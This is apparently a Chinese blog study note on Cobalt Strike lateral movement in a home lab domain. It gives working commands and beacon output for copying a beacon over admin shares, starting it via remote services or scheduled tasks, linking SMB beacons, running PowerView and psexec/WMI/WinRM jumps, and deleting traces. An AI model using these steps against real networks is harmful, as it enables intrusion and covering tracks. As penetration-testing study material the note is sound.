CS学习笔记 | 19、代码执行的方式
0x00 前言
实现代码执行的四个步骤:
1、与目标建立信任关系
2、复制可执行文件到目标上
3、在目标上运行可执行文件
4、实现对目标的控制
以上是根据视频教程中直译的结果,个人感觉其实这一节叫横向移动的方法
更为合适。
0x01 创建可执行文件
创建可执行文件可以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s)
处进行创建。
如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的。
0x02 上传可执行文件
首先使用 Cobalt Strike 上的 upload
功能上传文件,接着复制文件到目标主机的其他位置。
shell copy file.exe \hostC$WindowsTemp
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes
beacon> shell copy beacon.exe \WinTestC$WindowsTemp
[*] Tasked beacon to run: copy beacon.exe \WinTestC$WindowsTemp
[+] host called home, sent: 72 bytes
[+] received output:
已复制 1 个文件。
0x03 执行文件(方法一)
1、生成 Windows Service EXE 并上传
2、在目标主机上创建一个服务
shell sc \host create name binpath= c:windowstempfile.exe
beacon> shell sc \wintest create beacon binpath= c:windowstempbeacon.exe
[*] Tasked beacon to run: sc \wintest create beacon binpath= c:windowstempbeacon.exe
[+] host called home, sent: 93 bytes
[+] received output:
[SC] CreateService 成功
注:记住 binpath 路径
3、在目标主机上启动服务
shell sc \host start name
beacon> shell sc \wintest start beacon
[*] Tasked beacon to run: sc \wintest start beacon
[+] host called home, sent: 56 bytes
[+] received output:
SERVICE_NAME: beacon
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3816
FLAGS :
beacon> link wintest
[*] Tasked to link to \wintestpipemsagent_da00
[+] host called home, sent: 36 bytes
[+] established link to child beacon: 192.168.175.130
4、清除痕迹与服务
shell sc \host delete name
beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytes
beacon> shell del \wintestC$windowstempbeacon.exe
[*] Tasked beacon to run: del \wintestC$windowstempbeacon.exe
[+] host called home, sent: 83 bytes
beacon> shell sc \wintest delete beacon
[*] Tasked beacon to run: sc \wintest delete beacon
[+] host called home, sent: 69 bytes
[+] received output:
[SC] DeleteService 成功
0x04 执行文件(方法二)
1、生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一
生成的 EXE 是不一样的类型,这里生成的是Windows EXE
,不是方法一中的Windows Service EXE
2、找到目标系统上的时间
shell net time \host
beacon> shell net time \windc
[*] Tasked beacon to run: net time \windc
[+] host called home, sent: 49 bytes
[+] received output:
\windc 的当前时间是 2020/8/30 14:54:09
命令成功完成。
3、创建一个计划任务
shell at \host HH:mm C:pathtobad.exe
beacon> shell at \windc 15:00 C:windowstempbeacon.exe
[*] Tasked beacon to run: at \windc 15:00 C:windowstempbeacon.exe
[+] host called home, sent: 76 bytes
[+] received output:
新加了一项作业,其作业 ID = 1
4、当计划任务被执行时,执行 link hostname 即可上线主机
beacon> link windc
[*] Tasked to link to \windcpipemsagent_d76a
[+] host called home, sent: 34 bytes
[+] established link to child beacon: 192.168.175.144
0x05 beacon 的自动操作
前面说的两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作。
- 使用一个服务运行可执行文件
psexec [target] [share] [listener]
- 使用一个服务运行 Powershell 单行程序
psexec_psh [target] [listener]
- 通过 WinRM 运行 Powershell 单行程序
winrm [target] [listener]
- 通过 WMI 运行 Powershell 单行程序
wmi [target] [listener]
在 Cobalt Strike 的 viwe --> Targets
下,右击主机选择 Jump
也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单。
接下来进行一下演示,目前手中有一个普通机器的管理员会话,我们先在这台机器上运行 net view
查看一下当前域环境中的主机信息。
beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
[+] received output:
Server Name IP Address Platform Version Type Comment
----------- ---------- -------- ------- ---- -------
WINDC 192.168.175.144 500 6.1 PDC
WINTEST 192.168.175.130 500 6.1
因为是自己本地搭建的测试环境,所以主机很少,可以看到当前域中有两台机器,再利用 PowerView 查找一下具有本地管理员访问权限的用户
beacon> powershell-import PowerView.ps1
[*] Tasked beacon to import: PowerView.ps1
[+] host called home, sent: 101224 bytes
beacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WinDC.teamssix.com
接下来在 WinDC 上运行 psexec,因为这里是 64 位的,所以选择 psexec64,之后监听选择一个 smb beacon,会话就选择已经上线的 wintest 主机的会话,并勾选使用当前会话的访问令牌。
这里笔者认为应该是因为当前在 wintest 主机上有 windc 的管理员账户登录着,所以使用 wintest 的访问令牌是可以获取 windc 的信任的,类似于 CS 学习笔记 17 节里的描述方法,如有不正确之处,还请多多指教。
之后,windc 主机就上线了,域中如果还有其他主机,也可以使用这种方法去横向移动。
原文链接:https://www.teamssix.com/year/200419-150637.html 参考链接: https://www.bilibili.com/video/BV16b411i7n5 https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf
往期推荐
- CVE-2015-1641 Word 利用样本分析
- Cloudera Navigator介绍与安装
- [LeetCode]String主题系列{第5,6题}
- CDH内存调拨过度警告分析
- Ztorg:从 root 到 SMS
- [LeetCode]Math主题系列{第7,9,13,273题}
- 被忽视的攻击面:Python package 钓鱼
- [LeetCode]LinkedList主题系列{第2题}
- [LeetCode]HashTable主题系列{第3题}
- 如何使用Oozie API接口向Kerberos集群提交Java程序
- [LeetCode]Array主题系列{35,39,40,48题}
- 如何使用Sqoop2
- [LeetCode]Array主题系列{1,11,15,16,18,26,27,31,33,34题}
- Bwapp漏洞平台答案全解-A1(第三篇)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- IIS配置优化
- R语言做复杂金融产品的几何布朗运动的模拟
- R语言数据的收益率和可能的波动性交易
- 哈希算法的设计要点及应用场景
- R语言通过WinBUGS对MGARCH和MSV模型进行贝叶斯估计和比较
- Spring Boot中使用 Swagger2 自动构建API文档
- dotNET:怎样处理程序中的异常(理论篇)?
- xmake从入门到精通12:通过自定义脚本实现更灵活地配置
- ggplot2火山图展示RNAseq差异表达分析结果
- 如何根据class_code筛选转录本?
- JNI线程相关
- JNI函数加载
- CSS中的传统布局、多列布局、弹性伸缩布局及Emmet工具
- 数据分析可视化(四)|Pyecharts制作地图的几种方法评析
- tensorflow运行提示未编译使用SSE4.1,SSE4.2等问题的解决方法